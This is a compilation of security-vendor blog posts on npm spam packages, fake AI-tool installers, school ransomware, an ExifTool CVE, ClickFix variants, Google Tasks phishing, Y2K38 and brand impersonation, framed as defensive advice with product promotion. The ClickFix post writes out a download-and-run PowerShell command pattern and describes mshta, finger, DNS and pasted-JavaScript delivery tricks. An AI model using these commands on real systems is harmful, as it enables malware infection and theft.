What do the words bakso, sate, and rendang bring to mind? For many, the answer is “nothing”; foodies will recognize them as Indonesian staples; while those who follow cybersecurity news will remember an attack on the Node Package Manager (npm) ecosystem — the tool that lets developers use prebuilt libraries instead of writing every line of code from scratch.

In mid-November, security researcher Paul McCarty reported the discovery of a spam campaign aimed at cluttering the npm registry. Of course, meaningless packages have appeared in the registry before, but in this case, tens of thousands of modules were found with no useful function. Their sole purpose was to inject completely unnecessary dependencies into projects.

The package names featured randomly inserted Indonesian dish names and culinary terms such as bakso, sate, and rendang, which is how the campaign earned the moniker “IndonesianFoods”. The scale was impressive: at the time of discovery, approximately 86 000 packages had been identified.

Below, we dive into how this happened, and what the attackers were actually after.

Inside IndonesianFoods

At first glance, the IndonesianFoods packages didn’t look like obvious junk. They featured standard structures, valid configuration files, and even well-formatted documentation. According to researchers at Endor Labs, this camouflage allowed the packages to persist in the npm registry for nearly two years.

It’s not as if the attackers were aggressively trying to insert their creations into external projects. Instead, they simply flooded the ecosystem with legitimate-looking code, waiting for someone to make a typo or accidentally pick their library from search results. It’s a bit unclear exactly what you’d have to be searching for to mistake a package name for an Indonesian dish, but the original research notes that at least 11 projects somehow managed to include these packages in their builds.

A small portion of these junk packages had a self-replication mechanism baked in: once installed, they would create and publish new packages to the npm registry every seven seconds. These new modules featured random names (also related to Indonesian cuisine) and version numbers — all published, as you’d expect, using the victim’s credentials.

Other malicious packages integrated with the TEA blockchain platform. The TEA project was designed to reward open-source creators with tokens in proportion to the popularity and usage of their code — theoretically operating on a “Proof of Contribution” model.

A significant portion of these packages contained no actual functionality at all, yet they often carried a dozen dependencies — which, as you might guess, pointed to other spam projects within the same campaign. Thus, if a victim mistakenly includes one of these malicious packages, it pulls in several others, some of which have their own dependencies. The result is a final project cluttered with a massive amount of redundant code.

What’s in it for the attackers?

There are two primary theories. The most obvious is that this entire elaborate spam campaign was designed to exploit the aforementioned TEA protocol. Essentially, without making any useful contribution to the open-source community, the attackers earn TEA tokens — which are standard digital assets that can be swapped for other cryptocurrencies on exchanges. By using a web of dependencies and self-replication mechanisms, the attackers pose as legitimate open-source developers to artificially inflate the significance and usage metrics of their packages. In the README files of certain packages, the attackers even boast about their earnings.

However, there’s a more chilling theory. For instance, researcher Garrett Calpouzos suggests that what we’re seeing is merely a proof of concept. The IndonesianFoods campaign could be road-testing a new malware delivery method intended to be sold later to other threat actors.

Why you don’t want junk in your projects

At first glance, the danger to software development organizations might not be obvious: sure, IndonesianFoods clutters the ecosystem, but it doesn’t seem to carry an immediate threat like ransomware or data breaches.  However, redundant dependencies bloat code and waste developers’ system resources. Furthermore, junk packages published under your organization’s name can take a serious toll on your reputation within the developer community.

We also can’t dismiss Calpouzos’s theory. If those spam packages pulled into your software receive an update that introduces truly malicious functionality, they could become a threat not just to your organization, but to your users as well — evolving into a full-blown supply chain attack.

How to safeguard your organization

Spam packages don’t just wander into a project on their own; installing them requires a lapse in judgment from a developer. Therefore, we recommend regularly raising awareness among employees — even the tech-savvy ones — about modern cyberthreats. Our interactive training platform, KASAP (Kaspersky Automated Security Awareness Platform), can help with that.

Additionally, you can prevent infection by using a specialized solution for protecting containerized environments. It scans images and third-party dependencies, integrates into the build process, and monitors containers during runtime.

We recently discussed how malicious actors are spreading the AMOS infostealer for macOS via Google Ads, leveraging a chat with an AI assistant on the actual OpenAI website to host malicious instructions. We decided to dig a little deeper, only to discover several similar malicious campaigns where attackers attempt to slip users malware disguised as popular AI tools through Google Search ads. If the victims are searching for macOS-specific tools, the payload deployed is the very same AMOS; if they’re on Windows, it’s the Amatera infostealer instead. These campaigns use the popular Chinese AI Doubao, the viral AI assistant OpenClaw, or the coding assistant Claude Code as bait. This means such campaigns pose a threat not only to home users but also to organizations.

The reality is that corporate employees are increasingly using coding assistants like Claude Code, and workflow automation agents like OpenClaw. This brings its own set of risks, which is why many organizations have yet to officially approve (or pay for) access to such tools. Consequently, some employees take matters into their own hands to find these trendy tools, and head straight to Google. They type in a search query and are served a sponsored link leading to a malicious installation guide. Let’s take a closer look at how this attack plays out, using a Claude Code distribution campaign discovered in early March as an example.

The search query

So, a user starts looking for a place to download the Anthropic agent and types something like “Claude Code download” into the search bar. The search engine returns a list of links, with “sponsored links” (paid advertisements) sitting at the top. One of these ads leads the user to a malicious page featuring fake documentation. Interestingly, the site itself is built on Squarespace, a legitimate website builder that helps it bypass anti-phishing filters.

The attackers’ site meticulously mimics the original Claude Code documentation, complete with installation instructions. Just like the real deal, it prompts the user to copy and run a command. However, once executed, it installs not an AI agent but malware. Essentially, this is just another flavor of the ClickFix attack — one that has earned its own nickname: InstallFix.

Malicious payload

Just like with the original Claude Code, the command for macOS attempts to install an application using the curl command-line utility. In reality, it deploys the AMOS spyware — previously described by our experts on Securelist — which was used in a similar past campaign.

In the case of Windows, the malware is installed using the system utility mshta.exe, which executes HTML-based applications instead of curl, which is used for the genuine Claude Code. This utility deploys the Amatera infostealer, which harvests browser data, crypto-wallet info, as well as information from the user folder, and sends it to a remote server at 144{.}124.235.102.

How to keep your company safe

Interest in AI agents continues to grow, and the emergence of new tools and their rising popularity are creating fresh attack vectors. Specifically, attempting to seek out third-party AI tools can not only jeopardize the source code of projects on the victim’s computer but also lead to the compromise of secrets, confidential corporate files, and user accounts.

To prevent this from happening, the first step should be educating employees about these dangers and the tricks used by threat actors. This can be done using our training platform: Kaspersky Automated Security Awareness. Incidentally, it includes a specialized lesson on the use of AI in corporate environments.

Additionally, we recommend protecting all corporate devices with proven cybersecurity solutions.

We also suggest checking out our previously published article on three approaches to minimizing the risks of using shadow AI.

Back when ransomware was just a startup industry, the primary goal of the attackers was simple: encrypt data, then extort a ransom in exchange for decrypting it. Because of this, cybercriminals mostly targeted commercial enterprises — companies that valued their data enough to justify a hefty payout. Schools and colleges were generally left alone — hackers assumed educators didn’t have the kind of data worth paying a ransom for.

But times have changed, and so has the ransomware groups’ business model. The focus has shifted from payment for decryption, to extortion in exchange for non-disclosure of stolen data. Now, the “incentive” to pay isn’t just about restoring the company’s normal operations, but rather avoiding regulatory trouble, potential lawsuits, and reputational damage. And it’s this shift that’s put educational institutions in the crosshairs.

In this post, we discuss several cases of ransomware attacks on educational organizations, why they took place, and how to keep cybercriminals out of the classroom.

Attacks on educational institutions in 2025–2026

In February 2026, the Sapienza University of Rome, one of Europe’s oldest and largest higher education institutions, suffered a ransomware attack. Internal systems were down for three days. According to sources familiar with the incident, the cybercriminals sent the university’s administration a link leading to a ransom demand. Upon clicking the link, a countdown timer started on the site that opened — counting down from  72 hours: the time the attackers demands needed to be met. As of now, there’s still no word on whether the university administration paid up or not.

Unfortunately, this case isn’t an exception. At the very end of 2025, attackers targeted another Italian educational institution — a vocational training center in the small city of Treviso. Things aren’t looking much better in the UK, either: in the same year, Blacon High School was hit by ransomware. Its administration had to shut its doors for two days to restore its IT systems, assess the scale of the incident, and prevent the attack from spreading further through the network.

In fact, a UK government study suggests these incidents are just part of a broader trend. According to its 2025 data, cyberincidents hit 60% of secondary schools, 85% of colleges, and 91% of universities. Across the pond, American researchers also noted that in the first quarter of 2025, ransomware attacks in the global education sector surged by 69% year on year. Clearly, the trend is global.

Why schools and universities are becoming easy targets

The core of the problem is that modern educational organizations are rapidly incorporating digital services into their operations. A typical school or university infrastructure now manages a dizzying array of services:

• Electronic gradebooks and registers
• Distance learning platforms
• Admission systems and databases for storing applicants’ personal data
• Cloud storage for educational materials
• Internal staff and student portals
• Email for faculty, students, and the administration to communicate

While these systems make education more convenient and manageable, they also drastically expand the attack surface. Every new service and every additional user account is a potential doorway for a phishing campaign, access compromise, or a personal data leak.

According to a UK study, the primary vector for these attacks is basic phishing. But that’s not all that surprising: since the education sector was off the cybercriminals’ radar for so long, cybersecurity training for both staff and students was hardly a priority. As a result, even the most seasoned professors can find themselves falling for a fake email purportedly sent by the “dean” or the “school principal”.

But it’s not just the faculty. Students themselves often unwittingly act as mules for malware. In many institutions, students still frequently hand in assignments on USB flash drives. These drives travel across various home or public devices, picking up malicious digital hitchhikers along the way. All it takes is one infected USB drive plugged into a campus workstation to give an attacker a foothold in the internal network.

It’s worth noting that while USB drives aren’t as ubiquitous as they were a decade ago, they remain a staple in the educational environment. Dismissing the threats they carry isn’t a good idea.

How to ensure the cybersecurity of educational infrastructure

Let’s face it: training every literature and biology teacher to spot phishing emails is now easy, quick task. Similarly, the educational system isn’t going to cut down on USB usage overnight.

Fortunately, a robust security solution (such as Kaspersky Small Office Security) can do the heavy lifting for you. It’s ideal for schools and colleges that need set-it-and-forget-it protection without a steep learning curve. Plus, it’s affordable even for institutions operating on a tight budget, and doesn’t require constant management.

At the same time, Kaspersky Small Office Security addresses all the threats we’ve discussed above: it blocks clicks on phishing links, automatically scans USB drives the moment they’re plugged in, and prevents suspicious files from executing on devices connected to the school’s network.

Modern software development relies on containers and the use of third-party software modules. On the one hand, this greatly facilitates the creation of new software, but on the other, it gives attackers additional opportunities to compromise the development environment. News about attacks on the supply chain through the distribution of malware via various repositories appears with alarming regularity. Therefore, tools that allow the scanning of images have long been an essential part of secure software development.

Our portfolio has long included a solution for protecting container environments. It allows the scanning of images at different stages of development for malware, known vulnerabilities, configuration errors, the presence of confidential data in the code, and so on. However, in order to make an informed decision about the state of security of a particular image, the operator of the cybersecurity solution may need some more context. Of course, it’s possible to gather this context independently, but if a thorough investigation is conducted manually each time, development may be delayed for an unpredictable period of time. Therefore, our experts decided to add the ability to look at the image from a fresh perspective; of course, not with a human eye — AI is indispensable nowadays.

OpenAI API

Our Kaspersky Container Security solution (a key component of Kaspersky Cloud Workload Security) now supports an application programming interface for connecting external large language models. So, if a company has deployed a local LLM (or has a subscription to connect a third-party model) that supports the OpenAI API, it’s possible to connect the LLM to our solution. This gives a cybersecurity expert the opportunity to get both additional context about uploaded images and an independent risk assessment by means of a full-fledged AI assistant capable of quickly gathering the necessary information.

The AI provides a description that clearly explains what the image is for, what application it contains, what it does specifically, and so on. Additionally, the assistant conducts its own independent analysis of the risks of using this image and highlights measures to minimize these risks (if any are found). We’re confident that this will speed up decision-making and incident investigations and, overall, increase the security of the development process.

What else is new in Cloud Workload Security?

In addition to adding API to connect the AI assistant, our developers have made a number of other changes to the products included in the Kaspersky Cloud Workload Security offering. First, they now support single sign-on (SSO) and a multi-domain Active Directory, which makes it easier to deploy solutions in cloud and hybrid environments. In addition, Kaspersky Cloud Workload Security now scans images more efficiently and supports advanced security policy capabilities. You can learn more about the product on its official page.

Can a computer be infected with malware simply by processing a photo — particularly if that computer is a Mac, which many still believe (wrongly) to be inherently resistant to malware? As it turns out, the answer is yes — if you’re using a vulnerable version of ExifTool or one of the many apps built based on it. ExifTool is a ubiquitous open-source solution for reading, writing, and editing image metadata. It’s the go-to tool for photographers and digital archivists, and is widely used in data analytics, digital forensics, and investigative journalism.

Our GReAT experts discovered a critical vulnerability — tracked as CVE-2026-3102 — which is triggered during the processing of malicious image files containing embedded shell commands within their metadata. When a vulnerable version of ExifTool on macOS processes such a file, the command is executed. This allows a threat actor to perform unauthorized actions in the system, such as downloading and executing a payload from a remote server. In this post, we break down how this exploit works, provide actionable defense recommendations, and explain how to verify if your system is vulnerable.

What is ExifTool?

ExifTool is a free, open-source application addressing a niche but critical requirement: it extracts metadata from files, and enables the processing of both that data and the files themselves. Metadata is the information embedded within most modern file formats that describes or supplements the main content of a file. For instance, in a music track, metadata includes the artist’s name, song title, genre, release year, album cover art, and so on. For photographs, metadata typically consists of the date and time of a shot, GPS coordinates, ISO and shutter speed settings, and the camera make and model. Even office documents store metadata, such as the author’s name, total editing time, and the original creation date.

ExifTool is the industry leader in terms of the sheer volume of supported file formats, as well as the depth, accuracy, and versatility of its processing capabilities. Common use cases include:

• Adjusting dates if they’re incorrectly recorded in the source files
• Moving metadata between different file formats (from JPG to PNG and so on)
• Pulling preview thumbnails from professional RAW formats (such as 3FR, ARW, or CR3)
• Retrieving data from niche formats, including FLIR thermal imagery, LYTRO light-field photos, and DICOM medical imaging
• Renaming photo/video (etc.) files based on the time of actual shooting, and synchronizing the file creation time and date accordingly
• Embedding GPS coordinates into a file by syncing it with a separately stored GPS track log, or adding the name of the nearest populated area

The list goes on and on. ExifTool is available both as a standalone command-line application and an open-source library, meaning its code often runs under the hood of powerful, multi-purpose tools; examples include photo organization systems like Exif Photoworker and MetaScope, or image processing automation tools like ImageIngester. In large digital libraries, publishing houses, and image analytics firms, ExifTool is frequently used in automated mode, triggered by internal enterprise applications and custom scripts.

How CVE-2026-3102 works

To exploit this vulnerability, an attacker must craft an image file in a certain way. While the image itself can be anything, the exploit lies in the metadata — specifically the DateTimeOriginal field (date and time of creation), which must be recorded in an invalid format. In addition to the date and time, this field must contain malicious shell commands. Due to the specific way ExifTool handles data on macOS, these commands will execute only if two conditions are met:

• The application or library is running on macOS
• The -n (or –printConv) flag is enabled. This mode outputs machine-readable data without additional processing, as is. For example, in -n mode, camera orientation data is output simply, inexplicably, as “six”, whereas with additional processing, it becomes the more human-readable “Rotated 90 CW”. This “human-readability” prevents the vulnerability from being exploited

A rare but by no means fantastical scenario for a targeted attack would look like this: a forensics laboratory, a media editorial office, or a large organization that processes legal or medical documentation receives a digital document of interest. This can be a sensational photo or a legal claim — the bait depends on the victim’s line of work. All files entering the company undergo sorting and cataloging via a digital asset management (DAM) system. In large companies, this may be automated; individuals and small firms run the required software manually. In either case, the ExifTool library must be used under the hood of this software. When processing the date of the malicious photo, the computer where the processing occurs is infected with a Trojan or an infostealer, which is subsequently capable of stealing all valuable data stored on the attacked device. Meanwhile, the victim could easily notice nothing at all, as the attack leverages the image metadata while the picture itself may be harmless, entirely appropriate, and useful.

How to protect against the ExifTool vulnerability

GReAT researchers reported the vulnerability to the author of ExifTool, who promptly released version 13.50, which is not susceptible to CVE-2026-3102. Versions 13.49 and earlier must be updated to remediate the flaw.

It’s critical to ensure that all photo processing workflows are using the updated version. You should verify that all asset management platforms, photo organization apps, and any bulk image processing scripts running on Macs are calling ExifTool version 13.50 or later, and don’t contain an embedded older copy of the ExifTool library.

Naturally, ExifTool — like any software — may contain additional vulnerabilities of this class. To harden your defenses, we also recommend the following:

• Isolate the processing of untrusted files. Process images from questionable sources on a dedicated machine or within a virtual environment, strictly limiting its access to other computers, data storage, and network resources.
• Continuously track vulnerabilities along the software supply chain. Organizations that rely on open-source components in their workflows can use Open Source Software Threats Data Feed for tracking.

Finally, if you work with freelancers or self-employed contractors (or simply allow BYOD), only allow them to access your network if they have a comprehensive macOS security solution installed.

Still think macOS is safe? Then read about these Mac threats:

• Banshee: A stealer targeting macOS users
• Are Macs safe? Threats to macOS users
• Infostealer has entered the chat
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Hacking Android, macOS, iOS, and Linux through a Bluetooth vulnerability

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

• Using reliable protection on all corporate devices.
• Monitoring suspicious activity on the company network using an XDR solution.
• If internal resources are insufficient, using an external service to detect threats and respond to them promptly.

We’ve written time and again about phishing schemes where attackers exploit various legitimate servers to deliver emails. If they manage to hijack someone’s SharePoint server, they’ll use that; if not, they’ll settle for sending notifications through a free service like GetShared. However, Google’s vast ecosystem of services holds a special place in the hearts of scammers, and this time Google Tasks is the star of the show. As per usual, the main goal of this trick is to bypass email filters by piggybacking the rock-solid reputation of the middleman being exploited.

What phishing via Google Tasks looks like

The recipient gets a legitimate notification from an @google.com address with the message: “You have a new task”. Essentially, the attackers are trying to give the victim the impression that the company has started using Google’s task tracker, and as a result they need to immediately follow a link to fill out an employee verification form.

To deprive the recipient of any time to actually think about whether this is necessary, the task usually includes a tight deadline and is marked with high priority. Upon clicking the link within the task, the victim is presented with an URL leading to a form where they must enter their corporate credentials to “confirm their employee status”. These credentials, of course, are the ultimate goal of the phishing attack.

How to protect employee credentials from phishing

Of course, employees should be warned about the existence of this scheme — for instance, by sharing a link to our collection of posts on the red flags of phishing. But in reality, the issue isn’t with any one specific service — it’s about the overall cybersecurity culture within a company. Workflow processes need to be clearly defined so that every employee understands which tools the company actually uses and which it doesn’t. It might make sense to maintain a public corporate document listing authorized services and the people or departments responsible for them. This gives employees a way to verify if that invitation, task, or notification is the real deal. Additionally, it never hurts to remind everyone that corporate credentials should only be entered on internal corporate resources. To automate the training process and keep your team up to speed on modern cyberthreats, you can use a dedicated tool like the Kaspersky Automated Security Awareness Platform.

Beyond that, as usual, we recommend minimizing the number of potentially dangerous emails hitting employee inboxes by using a specialized mail gateway security solution. It’s also vital to equip all web-connected workstations with security software. Even if an attacker manages to trick an employee, the security product will block the attempt to visit the phishing site — preventing corporate credentials from leaking in the first place.

Millions of IT systems — some of them industrial and IoT — may start behaving unpredictably on January 19. Potential failures include: glitches in processing card payments; false alarms from security systems; incorrect operation of medical equipment; failures in automated lighting, heating, and water supply systems; and many more or less serious types of errors. The catch is — it will happen on January 19, 2038. Not that that’s a reason to relax — the time left to prepare may already be insufficient. The cause of this mass of problems will be an overflow in the integers storing date and time. While the root cause of the error is simple and clear, fixing it will require extensive and systematic efforts on every level — from governments and international bodies and down to organizations and private individuals.

The unwritten standard of the Unix epoch

The Unix epoch is the timekeeping system adopted by Unix operating systems, which became popular across the entire IT industry. It counts the seconds from 00:00:00 UTC on January 1, 1970, which is considered the zero point. Any given moment in time is represented as the number of seconds that have passed since that date. For dates before 1970, negative values are used. This approach was chosen by Unix developers for its simplicity — instead of storing the year, month, day, and time separately, only a single number is needed. This facilitates operations like sorting or calculating the interval between dates. Today, the Unix epoch is used far beyond Unix systems: in databases, programming languages, network protocols, and in smartphones running iOS and Android.

The Y2K38 time bomb

Initially, when Unix was developed, a decision was made to store time as a 32-bit signed integer. This allowed for representing a date range from roughly 1901 to 2038. The problem is that on January 19, 2038, at 03:14:07 UTC, this number will reach its maximum value (2,147,483,647 seconds) and overflow, becoming negative, and causing computers to “teleport” from January 2038 back to December 13, 1901. In some cases, however, shorter “time travel” might happen — to point zero, which is the year 1970.

This event, known as the “year 2038 problem”, “Epochalypse”, or “Y2K38”, could lead to failures in systems that still use 32-bit time representation — from POS terminals, embedded systems, and routers, to automobiles and industrial equipment. Modern systems solve this problem by using 64 bits to store time. This extends the date range to hundreds of billions of years into the future. However, millions of devices with 32-bit dates are still in operation, and will require updating or replacement before “day Y” arrives.

In this context, 32 and 64 bits refer specifically to the date storage format. Just because an operating system or processor is 32-bit or 64-bit, it doesn’t automatically mean it stores the date in its “native” bit format. Furthermore, many applications store dates in completely different ways, and might be immune to the Y2K38 problem, regardless of their bitness.

In cases where there’s no need to handle dates before 1970, the date is stored as an unsigned 32-bit integer. This type of number can represent dates from 1970 to 2106, so the problem will arrive in the more distant future.

Differences from the year 2000 problem

The infamous year 2000 problem (Y2K) from the late 20^th century was similar in that systems storing the year as two digits could mistake the new date for the year 1900. Both experts and the media feared a digital apocalypse, but in the end there were just numerous isolated manifestations that didn’t lead to global catastrophic failures.

The key difference between Y2K38 and Y2K is the scale of digitization in our lives. The number of systems that will need updating is way higher than the number of computers in the 20^th century, and the count of daily tasks and processes managed by computers is beyond calculation. Meanwhile, the Y2K38 problem has already been, or will soon be, fixed in regular computers and operating systems with simple software updates. However, the microcomputers that manage air conditioners, elevators, pumps, door locks, and factory assembly lines could very well chug along for the next decade with outdated, Y2K38-vulnerable software versions.

Potential problems of the Epochalypse

The date’s rolling over to 1901 or 1970 will impact different systems in different ways. In some cases, like a lighting system programmed to turn on every day at 7pm, it might go completely unnoticed. In other systems that rely on complete and accurate timestamps, a full failure could occur — for example, in the year 2000, payment terminals and public transport turnstiles stopped working. Comical cases are also possible, like issuing a birth certificate with a date in 1901. Far worse would be the failure of critical systems, such as a complete shutdown of a heating system, or the failure of a bone marrow analysis system in a hospital.

Cryptography holds a special place in the Epochalypse. Another crucial difference between 2038 and 2000 is the ubiquitous use of encryption and digital signatures to protect all communications. Security certificates generally fail verification if the device’s date is incorrect. This means a vulnerable device would be cut off from most communications — even if its core business applications don’t have any code that incorrectly handles the date.

Unfortunately, the full spectrum of consequences can only be determined through controlled testing of all systems, with separate analysis of a potential cascade of failures.

The malicious exploitation of Y2K38

IT and InfoSec teams should treat Y2K38 not as a simple software bug, but as a vulnerability that can lead to various failures, including denial of service. In some cases, it can even be exploited by malicious actors. To do this, they need the ability to manipulate the time on the targeted system. This is possible in at least two scenarios:

• Interfering with NTP protocol data by feeding the attacked system a fake time server
• Spoofing the GPS signal — if the system relies on satellite time

Exploitation of this error is most likely in OT and IoT systems, where vulnerabilities are traditionally slow to be patched, and the consequences of a failure can be far more substantial.

An example of an easily exploitable vulnerability related to time counting is CVE-2025-55068 (CVSSv3 8.2, CVSSv4 base 8.8) in Dover ProGauge MagLink LX4 automatic fuel-tank gauge consoles. Time manipulation can cause a denial of service at the gas station, and block access to the device’s web management panel. This defect earned its own CISA advisory.

The current status of Y2K38 mitigation

The foundation for solving the Y2K38 problem has been successfully laid in major operating systems. The Linux kernel added support for 64-bit time even on 32-bit architectures starting with version 5.6 in 2020, and 64-bit Linux was always protected from this issue. The BSD family, macOS, and iOS use 64-bit time on all modern devices. All versions of Windows released in the 21^st century aren’t susceptible to Y2K38.

The situation at the data storage and application level is far more complex. Modern file systems like ZFS, F2FS, NTFS, and ReFS were designed with 64-bit timestamps, while older systems like ext2 and ext3 remain vulnerable. Ext4 and XFS require specific flags to be enabled (extended inode for ext4, and bigtime for XFS), and might need offline conversion of existing filesystems. In the NFSv2 and NFSv3 protocols, the outdated time storage format persists. It’s a similar patchwork landscape in databases: the TIMESTAMP type in MySQL is fundamentally limited to the year 2038, and requires migration to DATETIME, while the standard timestamp types in PostgreSQL are safe. For applications written in C, pathways have been created to use 64-bit time on 32-bit architectures, but all projects require recompilation. Languages like Java, Python, and Go typically use types that avoid the overflow, but the safety of compiled projects depends on whether they interact with vulnerable libraries written in C.

A massive number of 32-bit systems, embedded devices, and applications remain vulnerable until they’re rebuilt and tested, and then have updates installed by all their users.

Various organizations and enthusiasts are trying to systematize information on this, but their efforts are fragmented. Consequently, there’s no “common Y2K38 vulnerability database” out there (1, 2, 3, 4, 5).

Approaches to fixing Y2K38

The methodologies created for prioritizing and fixing vulnerabilities are directly applicable to the year 2038 problem. The key challenge will be that no tool today can create an exhaustive list of vulnerable software and hardware. Therefore, it’s essential to update inventory of corporate IT assets, ensure that inventory is enriched with detailed information on firmware and installed software, and then systematically investigate the vulnerability question.

The list can be prioritized based on the criticality of business systems and the data on the technology stack each system is built on. The next steps are: studying the vendor’s support portal, making direct inquiries to hardware and software manufacturers about their Y2K38 status, and, as a last resort, verification through testing.

When testing corporate systems, it’s critical to take special precautions:

• Never test production systems.
• Create a data backup immediately before the test.
• Isolate the system being tested from communications so it can’t confuse other systems in the organization.
• If changing the date uses NTP or GPS, ensure the 2038 test signals cannot reach other systems.
• After testing, set the systems back to the correct time, and thoroughly document all observed system behaviors.

If a system is found to be vulnerable to Y2K38, a fixing timeline should be requested from the vendor. If a fix is impossible, plan a migration; fortunately, the time we have left still allows for updating even fairly complex and expensive systems.

The most important thing in tackling Y2K38 is not to think of it as a distant future problem whose solution can easily wait another five to eight years. It’s highly likely that we already have insufficient time to completely eradicate the defect. However, within an organization and its technology fleet, careful planning and a systematic approach to solving the problem will allow to actually make it in time.

Brand, website, and corporate mailout impersonation is becoming an increasingly common technique used by cybercriminals. The World Intellectual Property Organization (WIPO) reported a spike in such incidents in 2025. While tech companies and consumer brands are the most frequent targets, every industry in every country is generally at risk. The only thing that changes is how the imposters exploit the fakes In practice, we typically see the following attack scenarios:

• Luring clients and customers to a fake website to harvest login credentials for the real online store, or to steal payment details for direct theft.
• Luring employees and business partners to a fake corporate login portal to acquire legitimate credentials for infiltrating the corporate network.
• Prompting clients and customers to contact the scammers under various pretexts: getting tech support, processing a refund, entering a prize giveaway, or claiming compensation for public events involving the brand. The goal is to then swindle the victims out of as much money as possible.
• Luring business partners and employees to specially crafted pages that mimic internal company systems, to get them to approve a payment or redirect a legitimate payment to the scammers.
• Prompting clients, business partners, and employees to download malware — most often an infostealer — disguised as corporate software from a fake company website.

The words “luring” and “prompting” here imply a whole toolbox of tactics: email, messages in chat apps, social media posts that look like official ads, lookalike websites promoted through SEO tools, and even paid ads.

These schemes all share two common features. First, the attackers exploit the organization’s brand, and strive to mimic its official website, domain name, and corporate style of emails, ads, and social media posts. And the forgery doesn’t have to be flawless — just convincing enough for at least some of business partners and customers. Second, while the organization and its online resources aren’t targeted directly, the impact on them is still significant.

Business damage from brand impersonation

When fakes are crafted to target employees, an attack can lead to direct financial loss. An employee might be persuaded to transfer company funds, or their credentials could be used to steal confidential information or launch a ransomware attack.

Attacks on customers don’t typically imply direct damage to the company’s coffers, but they cause substantial indirect harm in the following areas:

• Strain on customer support. Customers who “bought” a product on a fake site will likely bring their issues to the real customer support team. Convincing them that they never actually placed an order is tough, making each case a major time waster for multiple support agents.
• Reputational damage. Defrauded customers often blame the brand for failing to protect them from the scam, and also expect compensation. According to a European survey, around half of affected buyers expect payouts and may stop using the company’s services — often sharing their negative experience on social media. This is especially damaging if the victims include public figures or anyone with a large following.
• Unplanned response costs. Depending on the specifics and scale of an attack, an affected company might need digital forensics and incident response (DFIR) services, as well as consultants specializing in consumer law, intellectual property, cybersecurity, and crisis PR.
• Increased insurance premiums. Companies that insure businesses against cyber-incidents factor in fallout from brand impersonation. An increased risk profile may be reflected in a higher premium for a business.
